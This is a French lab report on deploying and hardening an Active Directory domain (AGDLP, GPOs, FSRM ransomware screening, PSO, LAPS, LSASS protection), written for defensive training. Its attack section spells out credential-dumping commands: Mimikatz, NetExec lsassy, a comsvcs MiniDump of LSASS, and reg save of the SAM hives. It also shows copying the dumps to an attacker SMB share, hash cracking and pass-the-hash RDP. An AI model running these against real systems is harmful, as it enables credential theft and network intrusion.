Sécurisation d'une infrastructure Active Directory

Introduction#

Ce rapport documente ma mise en œuvre complète d'une infrastructure Active Directory sécurisée pour l'entreprise Serval :

1. TP-AD - Déploiement d'une forêt Active Directory avec AGDLP et GPO.
2. TP-FSRM - Protection d'un serveur de fichiers contre les ransomwares via File Server Resource Manager.
3. TP-Password - Audit et extraction d'identifiants, mise en place de protections natives Microsoft (PSO, LAPS, PPL, Credential Guard).
4. TP-Attaque/Défense - Exploitation des vecteurs d'attaque courants dans un environnement AD (BloodHound, Responder, mitm6, Seth, PingCastle), phase de remédiation

Configuration du domaine#

I. Automatisation#

Ce script installe le rôle requis, puis configure la nouvelle forêt Active Directory.

Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

$DomainName = "serval.int"
$NetbiosName = "SERVAL"

Install-ADDSForest `
    -CreateDnsDelegation:$false `
    -DomainName $DomainName `
    -DomainNetbiosName $NetbiosName `
    -InstallDns:$true `
    -NoRebootOnCompletion:$false `
    -Force:$true

II. Jonction d'un client au domaine#

Avant de travailler sur les partages et les GPO, il est indispensable de joindre une machine cliente au domaine pour valider les configurations.

Étape 1 - Configurer le DNS du client pour pointer vers le DC :

Étape 2 - Joindre la machine au domaine :

Win + R → sysdm.cpl

Résultat : la machine client CLIENT01 apparaît dans la liste des objets ordinateur de l'AD.

Création OU, Users, Groups#

I. Automatisation (POC PowerShell)#

Ce script initialise l'arborescence Active Directory (OU), crée les groupes globaux (G) liés aux fonctions, les groupes de domaine local (DL) pour les permissions NTFS, et crée les utilisateurs avec la nomenclature demandée (première lettre du prénom + nom).

$DomainInfo = Get-ADDomain
$SearchBase = $DomainInfo.DistinguishedName

$OUNames = @("Serval_Utilisateurs", "Serval_Groupes_Globaux", "Serval_Groupes_Locaux")
foreach ($OU in $OUNames) {
    try {
        New-ADOrganizationalUnit -Name $OU -Path $SearchBase -ErrorAction Stop
    } catch {}
}

$OUUsers  = "OU=Serval_Utilisateurs,$SearchBase"
$OUGlobal = "OU=Serval_Groupes_Globaux,$SearchBase"
$OULocal  = "OU=Serval_Groupes_Locaux,$SearchBase"

$GlobalGroups = @(
    "G_President", "G_Secretaire", "G_Comptable",
    "G_Vendeur", "G_RH", "G_IT_SysAdmin",
    "G_IT_Backup", "G_IT_Helpdesk"
)
foreach ($Group in $GlobalGroups) {
    New-ADGroup -Name $Group -GroupScope Global -GroupCategory Security -Path $OUGlobal
}

$LocalGroups = @(
    "DL_Admin_R", "DL_Admin_W",
    "DL_Compta_R", "DL_Compta_W",
    "DL_RH_R", "DL_RH_W",
    "DL_Vente_R", "DL_Vente_W",
    "DL_Clients_R", "DL_Clients_W",
    "DL_Bilans_R", "DL_Bilans_W",
    "DL_IT_R", "DL_IT_W"
)
foreach ($Group in $LocalGroups) {
    New-ADGroup -Name $Group -GroupScope DomainLocal -GroupCategory Security -Path $OULocal
}

# Imbrication AGDLP
Add-ADGroupMember -Identity "DL_Admin_W"   -Members "G_President"
Add-ADGroupMember -Identity "DL_Compta_R"  -Members "G_President"
Add-ADGroupMember -Identity "DL_RH_W"      -Members "G_President", "G_RH"
Add-ADGroupMember -Identity "DL_Admin_R"   -Members "G_Secretaire"
Add-ADGroupMember -Identity "DL_RH_R"      -Members "G_Secretaire"
Add-ADGroupMember -Identity "DL_Vente_R"   -Members "G_Comptable"
Add-ADGroupMember -Identity "DL_Clients_R" -Members "G_Comptable"
Add-ADGroupMember -Identity "DL_Bilans_W"  -Members "G_Comptable"
Add-ADGroupMember -Identity "DL_Vente_W"   -Members "G_Vendeur"
Add-ADGroupMember -Identity "DL_Clients_W" -Members "G_Vendeur"
Add-ADGroupMember -Identity "DL_IT_W"      -Members "G_IT_SysAdmin"

$Users = @(
    @{Name="Alex CONOR";          SamAccount="aconor";     Group="G_President"},
    @{Name="Kate LINDSAY";        SamAccount="klindsay";   Group="G_Secretaire"},
    @{Name="Ilio LORENZI";        SamAccount="ilorenzi";   Group="G_Comptable"},
    @{Name="Freddy KIDD";         SamAccount="fkidd";      Group="G_Comptable"},
    @{Name="Céline DIGORY";       SamAccount="cdigory";    Group="G_Vendeur"},
    @{Name="Douglas BLOCK";       SamAccount="dblock";     Group="G_Vendeur"},
    @{Name="Leonardo BAXTER";     SamAccount="lbaxter";    Group="G_RH"},
    @{Name="Jean-Charles LAFLEUR";SamAccount="jlafleur";   Group="G_RH"},
    @{Name="Arthur POPOV";        SamAccount="apopov";     Group="G_IT_SysAdmin"},
    @{Name="Adam HERNANDEZ";      SamAccount="ahernandez"; Group="G_IT_SysAdmin"},
    @{Name="Luiz VARGAS";         SamAccount="lvargas";    Group="G_IT_Backup"},
    @{Name="Bill KRAKENHOOD";     SamAccount="bkrakenhood";Group="G_IT_Helpdesk"}
)

foreach ($User in $Users) {
    $Password = ConvertTo-SecureString "Serval2026!*" -AsPlainText -Force
    New-ADUser -Name $User.Name `
               -SamAccountName $User.SamAccount `
               -UserPrincipalName "$($User.SamAccount)@serval.int" `
               -Path $OUUsers `
               -AccountPassword $Password `
               -ChangePasswordAtLogon $true `
               -Enabled $true
    Add-ADGroupMember -Identity $User.Group -Members $User.SamAccount
}

# Vérification
Get-ADUser -Filter * -SearchBase $OUUsers | Select-Object SamAccountName

II. Graphique#

1. Ouvrez le Server Manager → Tools → Active Directory Users and Computers.
2. Création des OU : clic droit sur serval.int → New → Organizational Unit → Serval_Utilisateurs.
3. Création des utilisateurs : clic droit sur l'OU → New → User → remplir First name, Last name, Logon name (ex: aconor).
4. Implémentation AGDLP :

• OU Serval_Groupes_Globaux → New Group → G_President (Global, Security).
• OU Serval_Groupes_Locaux → New Group → DL_Admin_W (Domain Local, Security).
• Double-clic sur DL_Admin_W → onglet Members → Add → G_President.

III. Explications#

Objectif : Structurer l'AD pour permettre une gestion centralisée et sécurisée des accès aux ressources partagées, en préparant la délégation d'administration pour l'équipe de Paris.

Méthodologie : La méthode AGDLP (Accounts → Global groups → Domain Local groups → Permissions) est implémentée. Les utilisateurs sont nommés selon la nomenclature stricte : première lettre du prénom + nom de famille.

• Comptes (A) : Créés et assignés selon le récapitulatif du personnel.
• Groupes Globaux (G) : Modélisent les fonctions métiers (Président, Comptable, RH…).
• Groupes Locaux de Domaine (DL) : Créés pour chaque dossier et niveau d'accès (Lecture / Modification).

Analyse de sécurité : L'approche AGDLP réduit drastiquement la surface d'attaque liée aux erreurs de configuration et aux "droits orphelins". En évitant d'attribuer des permissions directes aux utilisateurs, on prévient l'accumulation de privilèges illégitimes. Lorsqu'un nouvel employé arrive, il est simplement ajouté à son groupe métier, héritant automatiquement des droits correspondants sans modifier les ACL des fichiers.

Création Arborescence et Permissions NTFS#

I. Automatisation#

$BasePath = "C:\Share"
$Domain   = "SERVAL"

$Directories = @(
    "$BasePath",
    "$BasePath\Administration",
    "$BasePath\Ressources Humaines",
    "$BasePath\Comptable",
    "$BasePath\Comptable\Bilans",
    "$BasePath\Comptable\Clients",
    "$BasePath\Comptable\Vente",
    "$BasePath\IT"
)

foreach ($Dir in $Directories) {
    if (-not (Test-Path $Dir)) {
        New-Item -ItemType Directory -Path $Dir | Out-Null
    }
}

New-SmbShare -Name "Share" `
             -Path $BasePath `
             -FullAccess "Everyone" `
             -FolderEnumerationMode AccessBased `
             -Description "Partage principal Serval"

function Set-ServalACL {
    param (
        [string]$FolderPath,
        [string]$ReadGroup,
        [string]$ModifyGroup
    )
    $ACL = Get-Acl -Path $FolderPath
    $ACL.SetAccessRuleProtection($true, $true)
    $Rules = $ACL.Access | Where-Object { $_.IdentityReference -match "Builtin\\Users" }
    foreach ($Rule in $Rules) { $ACL.RemoveAccessRule($Rule) | Out-Null }

    if ($ReadGroup) {
        $AR = New-Object System.Security.AccessControl.FileSystemAccessRule(
            "$Domain\$ReadGroup", "ReadAndExecute",
            "ContainerInherit, ObjectInherit", "None", "Allow")
        $ACL.AddAccessRule($AR)
    }
    if ($ModifyGroup) {
        $AW = New-Object System.Security.AccessControl.FileSystemAccessRule(
            "$Domain\$ModifyGroup", "Modify",
            "ContainerInherit, ObjectInherit", "None", "Allow")
        $ACL.AddAccessRule($AW)
    }
    Set-Acl -Path $FolderPath -AclObject $ACL
}

Set-ServalACL "$BasePath\Administration"       "DL_Admin_R"   "DL_Admin_W"
Set-ServalACL "$BasePath\Ressources Humaines"  "DL_RH_R"      "DL_RH_W"
Set-ServalACL "$BasePath\Comptable"            "DL_Compta_R"  "DL_Compta_W"
Set-ServalACL "$BasePath\Comptable\Bilans"     "DL_Bilans_R"  "DL_Bilans_W"
Set-ServalACL "$BasePath\Comptable\Clients"    "DL_Clients_R" "DL_Clients_W"
Set-ServalACL "$BasePath\Comptable\Vente"      "DL_Vente_R"   "DL_Vente_W"
Set-ServalACL "$BasePath\IT"                   "DL_IT_R"      "DL_IT_W"

II. Graphique#

1. Clic droit sur le dossier Administration → Properties → onglet Security → Advanced.
2. Disable inheritance → Convert inherited permissions into explicit permissions.
3. Add → Select a principal → DL_Admin_W → cocher Modify → OK.
4. Répéter pour DL_Admin_R en cochant uniquement Read & execute.

Write

Read

III. Explications#

Objectif : Mettre en œuvre le principe du moindre privilège sur les données de l'entreprise Serval.

Méthodologie : La sécurité au niveau du partage SMB est définie de manière permissive (Contrôle total pour "Tout le monde"), car la véritable granularité de sécurité est gérée par le système NTFS. L'Access-Based Enumeration (ABE) est activée sur le partage : un utilisateur ne voit pas les dossiers auxquels il n'a pas accès, réduisant ainsi la surface de reconnaissance interne.

Analyse de sécurité : Cette ségrégation stricte limite considérablement l'impact en cas de compromission d'un compte. Si un ransomware infecte le poste d'une secrétaire (droits de lecture seulement), le malware ne pourra pas chiffrer les données de la comptabilité. L'ABE ajoute une couche de sécurité par l'obscurité qui ralentit un attaquant réalisant une reconnaissance interne.

Configurer lecteurs réseaux des dossiers partagés et le profil itinérant#

I. Automatisation#

$Domain    = "SERVAL"
$DCName    = "SERVAL"
$SearchBase = "OU=Serval_Utilisateurs,DC=serval,DC=int"

$ProfilePath = "C:\Profiles"
if (-not (Test-Path $ProfilePath)) {
    New-Item -ItemType Directory -Path $ProfilePath | Out-Null
}
New-SmbShare -Name "Profiles$" -Path $ProfilePath -FullAccess "Everyone"

$ProfileACL = Get-Acl $ProfilePath
$ProfileACL.SetAccessRuleProtection($true, $false)
$RuleAdmin = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "Administrators", "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow")
$RuleUsers = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "Authenticated Users", "AppendData", "ContainerInherit, ObjectInherit", "None", "Allow")
$ProfileACL.AddAccessRule($RuleAdmin)
$ProfileACL.AddAccessRule($RuleUsers)
Set-Acl -Path $ProfilePath -AclObject $ProfileACL

$Users = Get-ADUser -Filter * -SearchBase $SearchBase
foreach ($User in $Users) {
    $UserProfPath = "\\$DCName\Profiles$\$($User.SamAccountName)"
    Set-ADUser -Identity $User.SamAccountName -ProfilePath $UserProfPath
}

$GPOName = "GPO_Lecteur_Reseau"
New-GPO -Name $GPOName -Comment "Mappage automatique du lecteur S:" | Out-Null
New-GPLink -Name $GPOName -Target $SearchBase -LinkEnabled Yes | Out-Null

II. Graphique#

1. Win+R → gpmc.msc → déployez serval.int → Serval_Utilisateurs → clic droit sur GPO_Lecteur_Reseau → Edit.
2. User Configuration → Preferences → Windows Settings → Drive Maps.
3. Clic droit → New → Mapped Drive :

• Action : Update
• Location : \\DC01\Share
• Drive Letter : S:
• Cocher Reconnect

III. Explications#

Objectif : Standardiser et centraliser l'environnement de travail des collaborateurs via un lecteur réseau uniforme (S:) et des profils itinérants.

Méthodologie : La GPO est appliquée via Group Policy Preferences (GPP), remplaçant avantageusement les scripts de logon. Le partage de profils utilise un nom caché (Profiles$) pour limiter la visibilité réseau. Les droits du dossier partagé permettent uniquement à chaque utilisateur d'accéder à son propre répertoire de profil.

Analyse de sécurité : Le lecteur mappé n'outrepasse aucune règle NTFS ; il fournit uniquement un raccourci visuel. La sécurité réelle reste au niveau NTFS (AGDLP). Pour les profils itinérants, la désactivation de l'héritage assure que seul le propriétaire du profil (et SYSTEM) peut lire ses données.

RDP pour groupe IT#

I. Automatisation#

$Domain   = "DC=serval,DC=int"
$OUGlobal = "OU=Serval_Groupes_Globaux,$Domain"

New-ADGroup -Name "G_IT_All" -GroupScope Global -GroupCategory Security -Path $OUGlobal
Add-ADGroupMember -Identity "G_IT_All" -Members "apopov", "ahernandez", "lvargas", "bkrakenhood"

$GPORDP = "GPO_Acces_RDP_IT"
New-GPO -Name $GPORDP -Comment "Ajoute le groupe IT aux Remote Desktop Users" | Out-Null
New-GPLink -Name $GPORDP -Target $Domain -LinkEnabled Yes | Out-Null

II. Graphique#

Configuration GPO RDP (Restricted Groups) :

1. gpmc.msc → clic droit sur GPO_Acces_RDP_IT → Edit.
2. Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups.
3. Clic droit → Add Group → Remote Desktop Users.
4. Dans "Members of this group" → Add → SERVAL\G_IT_All.

III. Comment utiliser le protocole RDP ?#

Depuis windows :#

1. Win+R puis tapez mstsc
2. Entrer l'ip du DC, puis les creds d'un utilisateur qui a les permissions de RDP

Pour monter un fichier ou un lecteur dans RDP, dans l'onglet "Local Ressources"

Depuis Linux :#

En utilisant xfreerdp

xfreerdp /d:"$DOMAIN" /u:"$USER" /p:"$PASSWORD" /v:"$TARGET" /dynamic-resolution

Ajouter :

• /pth:$HASH pour se connecter en path the hash
• /drive:local_drive_name,/tmp pour monter un répertoire local
• +clipboard pour autoriser le partage de clipboard 

En utilisant rdesktop

rdesktop -u $USER -p "$PASSWORD" "$IP"

VI. Explications#

Objectif : Encadrer les accès RDP de manière sécurisée et centralisée pour l'équipe IT, sans accorder de droits Administrateur Local sur chaque machine.

Méthodologie : Les Restricted Groups injectent automatiquement G_IT_All dans le groupe local Remote Desktop Users de toutes les machines cibles. Cette approche est plus robuste qu'un ajout manuel car toute modification locale est écrasée au prochain rafraîchissement de la GPO.

Analyse de sécurité : L'utilisation des Restricted Groups prévient l'ajout non audité d'utilisateurs locaux sur les postes, réduisant la surface d'attaque liée aux mouvements latéraux. La politique de mot de passe (PSO, section suivante) protège ces comptes contre le brute-force.

Déployer une application en GPO#

I. Automatisation#

Ce script crée le dossier de déploiement, le partage sur le réseau avec les droits de lecture pour les ordinateurs du domaine, et génère la GPO vide prête à accueillir le paquet MSI.

$DeployPath = "C:\Deploy"
$GPOName    = "GPO_Deploiement_7Zip"
$Domain     = "DC=serval,DC=int"

if (-not (Test-Path $DeployPath)) {
    New-Item -ItemType Directory -Path $DeployPath | Out-Null
}

New-SmbShare -Name "Deploy" -Path $DeployPath `
             -FullAccess "Administrators" `
             -ReadAccess "Domain Computers", "Domain Users"

$Acl = Get-Acl $DeployPath
$Acl.SetAccessRuleProtection($true, $false)
$RuleAdmin = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "Administrators", "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow")
$RuleComps = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "Domain Computers", "ReadAndExecute", "ContainerInherit, ObjectInherit", "None", "Allow")
$Acl.AddAccessRule($RuleAdmin)
$Acl.AddAccessRule($RuleComps)
Set-Acl -Path $DeployPath -AclObject $Acl

New-GPO -Name $GPOName -Comment "Deploiement automatique de 7-Zip" | Out-Null
New-GPLink -Name $GPOName -Target $Domain -LinkEnabled Yes | Out-Null

II. Graphique#

Prérequis : Placer 7z.msi dans C:\Deploy.

1. gpmc.msc → clic droit sur GPO_Deploiement_7Zip → Edit.
2. Computer Configuration → Policies → Software Settings → Software installation.
3. Clic droit → New → Package → saisir \\SERVAL\Deploy dans la barre d'adresse → sélectionner 7z.msi.
4. Choisir Assigned → OK.

Pour tester : Si vous avez une VM Windows 10 jointe au domaine, redémarrez-la. Avant l'écran de connexion, le système affichera "Installing managed software 7-Zip..." et le logiciel sera disponible sur le poste !

III. Explications#

Objectif : Automatiser l'installation des applications métiers sur le parc et garantir une version validée par l'IT sur tous les postes.

Analyse de sécurité : Le déploiement s'exécute dans le contexte NT AUTHORITY\SYSTEM, éliminant le besoin d'accorder des droits administrateurs locaux aux utilisateurs. Les droits NTFS restreints sur C:\Deploy empêchent un utilisateur standard d'altérer le binaire MSI (supply chain attack interne).

FSRM#

FSRM (File Server Resource Manager) est un rôle Windows Server permettant de gérer, contrôler et superviser les données stockées sur un serveur de fichiers.

I. Analyse d'un ransomware#

Avant d'implémenter les contrôles, il est essentiel de comprendre le cycle d'attaque typique :

Schéma d'attaque :

Attaquant 
│  
▼  
[Phishing → Compte utilisateur compromis]  
│  
▼  
[Mouvement latéral → Compte admin local]  
│  
▼  
[Montage \SERVAL\Share avec net use]  
│  
▼  
[Boucle : Rename fichier → .locky] ←── FSRM bloque ici  
│  
▼  
[README_DECRYPT.txt déposé]

II. Automatisation (POC PowerShell)#

Ce script va automatiser l'installation du rôle FSRM, la création du quota strict de 5 Go, et la mise en place du filtrage actif en téléchargeant dynamiquement la liste des extensions malveillantes depuis le dépôt GitHub fourni

$SharePath = "C:\Share"

Install-WindowsFeature -Name FS-Resource-Manager -IncludeManagementTools | Out-Null

$ItemsToClean = @(
    @{ Cmdlet="Remove-FsrmFileScreen";          Param=@{Path=$SharePath} },
    @{ Cmdlet="Remove-FsrmFileScreenTemplate";  Param=@{Name="Serval_Block_Ransomware"} },
    @{ Cmdlet="Remove-FsrmFileGroup";           Param=@{Name="Serval_Ransomware_Extensions"} },
    @{ Cmdlet="Remove-FsrmQuota";               Param=@{Path=$SharePath} },
    @{ Cmdlet="Remove-FsrmQuotaTemplate";       Param=@{Name="Serval_Quota_5GB"} }
)
foreach ($Item in $ItemsToClean) {
    try { & $Item.Cmdlet @Item.Param -Confirm:$false -ErrorAction SilentlyContinue } catch {}
}

New-FsrmQuotaTemplate -Name "Serval_Quota_5GB" -Size 5GB | Out-Null
New-FsrmQuota -Path $SharePath -Template "Serval_Quota_5GB" | Out-Null

$MaliciousExtensions = @(
    "*.locky", "*.crypt", "*.wncry", "*.ransom", "*.mallox",
    "*.phobos", "*.crypto", "*.cerber", "*.zepto", "*.odin",
    "*.encrypted", "*.wannacry", "*.ryuk", "*.darkside"
)
New-FsrmFileGroup -Name "Serval_Ransomware_Extensions" `
                  -IncludePattern $MaliciousExtensions | Out-Null

New-FsrmFileScreenTemplate -Name "Serval_Block_Ransomware" `
                            -IncludeGroup "Serval_Ransomware_Extensions" `
                            -Active:$true | Out-Null
New-FsrmFileScreen -Path $SharePath -Template "Serval_Block_Ransomware" | Out-Null

III. Graphique#

Étape A - Configurer les seuils d'alerte du Quota :

1. Win+R → fsrm.msc → Quota Management → Quota Templates.
2. Double-clic sur Serval_Quota_5GB → Add... → seuil à 85% → onglet Event Log → cocher Send warning to event log → OK.
3. Répéter pour un seuil à 95%.

Étape B - Configurer l'alerte du File Screening :

1. File Screening Management → File Screen Templates → double-clic sur Serval_Block_Ransomware.
2. Vérifier Active screening: Do not allow users to save unauthorized files.
3. Onglet Event Log → cocher Send warning to event log → OK.

On crée ensuite un File Screen actif sur C:\Share référençant ce groupe d'extensions. Tout fichier portant une de ces extensions sera automatiquement bloqué, et une alerte sera générée dans les journaux :

IV. Simulation et analyse des résultats#

Tentative de création de fichier interdit :

New-Item -Path "\\SERVAL\Share\coucou.locky" -ItemType File

Résultat : La commande échoue immédiatement avec l'erreur :

New-Item : Access to the path '\SERVAL\Share\coucou.locky' is denied.

Événements générés dans l'Event Viewer :

• Chemin : Event Viewer → Windows Logs → Application
• Event ID 8215 (source : SRMSVC) : "File Screen violation detected. File: test_ransomware.locky, Path: C:\Share"

Get-WinEvent -LogName Application | Where-Object {$_.Id -eq 8215} | Select-Object TimeCreated, Message

Analyse :

• Le quota ralentit-il le chiffrement ? Non directement, mais les ransomwares modernes créent une copie chiffrée avant de supprimer l'original, doublant l'espace consommé. Le Hard Quota de 5 Go agit comme un coupe-circuit : au-delà de cette limite, toute écriture est refusée, limitant la quantité de données chiffrable avant blocage.
• Le blocage du File Screening est-il immédiat ? Oui. FSRM opère au niveau du pilote de filtre du système de fichiers (MiniFilter driver), avant même que le fichier ne soit écrit sur le disque. Le blocage est donc instantané et transparent pour l'attaquant.
• Détection précoce ? L'Event ID 8215 est généré à la première tentative. Si l'Event Log est renvoyé vers un SIEM (ex: Wazuh, Splunk), le SOC est alerté avant que les fichiers légitimes ne soient visés. Cela permet l'isolement automatique du poste infecté.

Limites de FSRM :

Attaquer LSASS & SAM#

L'objectif est de simuler l'action d'un attaquant ayant obtenu un accès administrateur local sur le DC et cherchant à extraire les secrets.

I. Depuis Windows en utilisant Mimikatz#

# Élévation des privilèges
privilege::debug

# Élévation au niveau SYSTEM
token::elevate

# Extraction des hashes NTLM de la base SAM (comptes locaux)
lsadump::sam

# Extraction des secrets LSA (comptes de service, mots de passe système)
lsadump::secrets

# Extraction des identifiants actifs en mémoire via SSP/LSASS
sekurlsa::logonpasswords

II. Depuis Linux en utilisant NetExec#

Tout d'abord, netexec peut gérer lui même la résolution de nom

nxc smb "$IP" -u "$USER" -p "$PASSWORD" --generate-hosts /etc/hosts

Dump LSASS en utilisant le module lsassy#

nxc smb "$IP" -u "$USER" -p "$PASSWORD" -M lsassy

Dump SAM#

nxc smb "$IP" -u "$USER" -p "$PASSWORD" --sam

III. Dump hors-ligne#

Dump LSASS#

Imaginons que l'attaquant génère un dump mémoire complet du processus (via le Task Manager, Procdump ou NetExec) et le ramène sur son Kali Linux pour l'analyser hors-ligne :

Open Task Manager > Select the Processes tab > Find & right click the Local Security Authority Process > Select Create dump file

Un fichier nommé lsass.dmp est crée et stocké dans :

C:\Users\$USER\AppData\Local\Temp

Une fois le fichier extrait, il faut transférer le fichier pour l'ananlyser offline, par exemple avec l'outil pypykatz

pypykatz lsa minidump lsass.dmp

Dump SAM#

La base SAM est stockées dans un fichier à l'emplacement suivant :

C:\Windows\System32\config\SAM

Et dans

hklm\SAM

Ce fichier est bloqué pendant que Windows est en cours d'exécution afin d'empêcher tout accès non autorisé. Les hashs contenus dans la base SAM sont chiffrés à l'aide d'une clé système stockée dans le registre SYSTEM :

C:\Windows\System32\config\SYSTEM

Ensemble, les fichiers SAM, SYSTEM et SECURITY sont nécessaires pour déchiffrer et extraire les hashs.

Vous devez disposer d'un accès administrateur local sur la cible ; chaque fichier aura un rôle spécifique lors de l'extraction et du cassage des hashes.

Comme j'ai dit précedemment, toute copie directe est impossible lors de l'exécution de Windows. Pour contourner cette restriction, il faut utiliser la commande reg save avec des privilèges SYSTEM afin d'exporter les fichiers vers un répertoire accessible en écriture :

reg save HKLM\SAM C:\Windows\Temp\SAM.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save

IV. Uniquement en CLI#

Dump LSASS en utilisant Rundll32.exe & Comsvcs.dll#

Avant d'exécuter la commande pour créer le dump, nous devons déterminer quel PID est assigné à lsass.exe. Cela peut être fait depuis l'invite de le cmd ou powerShell :

Dans le cmd

tasklist /svc

Dans powershell

Get-Process lsass

Une fois que nous avons le PID assigné au processus LSASS, nous pouvons créer le fichier de dump.

Création de lsass.dmp à l'aide de PowerShell

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

V. Transférer les fichiers récupérés#

Pour transférer un fichier rapidement de la machine victime vers l'attaquant, voici une commande simple pour ouvrir un server SMB et recevoir le fichier cible :

Sur la machine attaquante

sudo impacket-smbserver -smb2support CompData /tmp

Sur la cible Windows

move C:\Users\$USER\AppData\Local\Temp \\$ATTACK_IP\CompData

VI. Exemple de Crackage de hash#

Par exemple, si le hash du compte Administrator présent dans la base SAM est ``, on peut facilement le crack avec :

En utilisant CrackStation :#

On peut mettre le hash obtenu `` du compte Administrateur dans CrackStation, résultat :

Le hash a été cracké et le mot de passe est Password1

En utilisant Hashcat :#

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

Question : Quelle longueur minimale rend l'attaque inefficace ?

À partir de 14 caractères avec complexité activée (majuscules, minuscules, chiffres, caractères spéciaux), le nombre de combinaisons dépasse 10^25, rendant toute attaque par dictionnaire ou brute-force computationnellement irréalisable dans des délais raisonnables. C'est précisément pourquoi le PSO est configuré avec une longueur minimale de 14 caractères.

Protéger LSASS#

I. Activation de LSASS PPL via GPO#

Automatisation via le registre#

Via le registre

$LsaPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
Set-ItemProperty -Path $LsaPath -Name "RunAsPPL" -Value 1

$DeviceGuardPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard"
if (-not (Test-Path $DeviceGuardPath)) { New-Item -Path $DeviceGuardPath -Force | Out-Null }

Set-ItemProperty -Path $DeviceGuardPath -Name "EnableVirtualizationBasedSecurity" -Value 1

Set-ItemProperty -Path $DeviceGuardPath -Name "RequirePlatformSecurityFeatures" -Value 1
Set-ItemProperty -Path $DeviceGuardPath -Name "LsaCfgFlags" -Value 1

Manuellement via GPO#

Pour le faire via GPO :

1. Win + R puis tapez gpmc.msc

1. Dans Group Policy Management, créez une GPO pour vos serveurs/postes.

1. Naviguez vers : Computer Configuration > Policies > Administrative Templates > System > Device Guard.

1. Double-cliquez sur Turn On Virtualization Based Security.

1. Cochez Enabled.

1. Dans la section Options, sous Credential Guard Configuration, sélectionnez Enabled without lock.

Test Mimikatz après activation de Credential Guard :

II. Test après activation PPL#

Depuis Windows en utilisant Mimikatz#

sekurlsa::logonpasswords

Résultat : ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Mimikatz est bloqué car le processus lsass.exe tourne désormais en tant que processus protégé. Le kernel refuse l'ouverture d'un handle avec les droits de lecture mémoire.

Depuis Linux en utilisant Netexec :#

nxc smb "$IP" -u "$USER" -p "$PASSWORD" -M lsassy

J'obtiens l'erreur "Unable to dump lsass"

Localement#

Désormais, j'obtiens l'erreur The operation could not be completed. Access is denied.

Résultat : Les hashes NTLM et mots de passe en clair ne sont plus extraits pour les comptes de domaine. Seuls les haches locaux (SAM) peuvent encore être lus.

Comparaison PPL vs Credential Guard :

Conclusion : PPL est un premier niveau de protection rapide à déployer. Credential Guard est la protection la plus robuste car elle sort les secrets du périmètre accessible au kernel Windows, même compromis. En production, les deux doivent être activés ensemble.

Mise en place d'un PSO pour les utilisateurs sensibles#

Le PSO (Password Settings Object) permet d'appliquer une politique de mot de passe renforcée à un groupe spécifique, indépendamment de la Default Domain Policy.

I. Automatisation#

$Domain   = "DC=serval,DC=int"
$OUGlobal = "OU=Serval_Groupes_Globaux,$Domain"

# Groupe des utilisateurs sensibles
New-ADGroup -Name "Utilisateurs_Sensibles" `
            -GroupScope Global `
            -GroupCategory Security `
            -Path $OUGlobal

Add-ADGroupMember -Identity "Utilisateurs_Sensibles" `
                  -Members "aconor", "apopov", "ahernandez"

# Création du PSO unique
$PSOName = "PSO_Mdp_Renforce"
New-ADFineGrainedPasswordPolicy -Name $PSOName `
    -Precedence 10 `
    -MinPasswordLength 14 `
    -ComplexityEnabled $true `
    -PasswordHistoryCount 24 `
    -LockoutThreshold 5 `
    -LockoutDuration "00:30:00" `
    -LockoutObservationWindow "00:15:00" `
    -MaxPasswordAge "42.00:00:00" `
    -MinPasswordAge "1.00:00:00" `
    -ReversibleEncryptionEnabled $false

Add-ADFineGrainedPasswordPolicySubject -Identity $PSOName -Subjects "Utilisateurs_Sensibles"

Pour vérifier

Get-ADFineGrainedPasswordPolicy -Filter * | Select-Object Name, MinPasswordLength, Precedence

II. Graphique#

1. Server Manager → Tools → Active Directory Administrative Center.
2. serval (local) → System → Password Settings Container.
3. Clic droit → New → Password Settings → remplir les paramètres.

III. Explications#

Objectif : Appliquer une politique de mot de passe stricte aux comptes à hauts privilèges (Direction, IT) sans impacter les utilisateurs standard.

Paramètres choisis et justification :

Analyse de sécurité : La FGPP (Fine-Grained Password Policy) évite le compromis habituel entre sécurité et usabilité : les utilisateurs standard gardent une politique normale, tandis que les comptes à risque sont soumis à des contraintes strictes. Après mise en place du PSO, le hash de apopov soumis à Hashcat avec la wordlist RockYou ne produit aucun résultat, confirmant l'efficacité de la politique.

Déploiement de Windows LAPS#

LAPS (Local Administrator Password Solution) gère automatiquement le mot de passe du compte Administrateur local de chaque machine du domaine, éliminant le risque de Pass-the-Hash latéral via des mots de passe locaux identiques.

I. Graphique#

1. Ouvrez Group Policy Management (gpmc.msc).

1. Créez une nouvelle GPO nommée GPO_LAPS_Policy et liez-la à l'OU contenant vos ordinateurs.

1. Modifiez la GPO et naviguez vers : Computer Configuration > Policies > Administrative Templates > System > LAPS.

1. Double-cliquez sur Configure password backup directory. Cochez Enabled et sélectionnez Active Directory.

1. Double-cliquez sur Password Settings. Cochez Enabled et définissez : Longueur (ex: 14), Complexité (Lettres, chiffres, caractères spéciaux), et l'âge maximum (ex: 30 jours).

1. On active l'option "Enable local admin password management" dans la GPO :

III. Explications#

Objectif : Éliminer le risque de Pass-the-Hash latéral lié à l'utilisation du même mot de passe Administrateur local sur tous les postes.

Analyse de sécurité : Sans LAPS, si un attaquant extrait le hash du compte Administrateur local d'un poste, il peut l'utiliser sur tous les autres postes du domaine (même hash). Avec LAPS, chaque machine a un mot de passe différent, tournant automatiquement selon la GPO. La compromission d'un poste n'implique plus la compromission de l'ensemble du parc.

Cartographie de l'Active Directory#

I. Collecte avec BloodHound#

Pour collecter les données depuis le DC, il faut extraire des relations grace a un collecteur :

Depuis Windows#

En utilisant SharpHound :

Invoke-WebRequest -Uri "https://github.com/SpecterOps/SharpHound/releases/download/v2.12.0/SharpHound_v2.12.0_windows_x86.zip" -OutFile "C:\Tools\SharpHound.exe"

Unzip puis execute

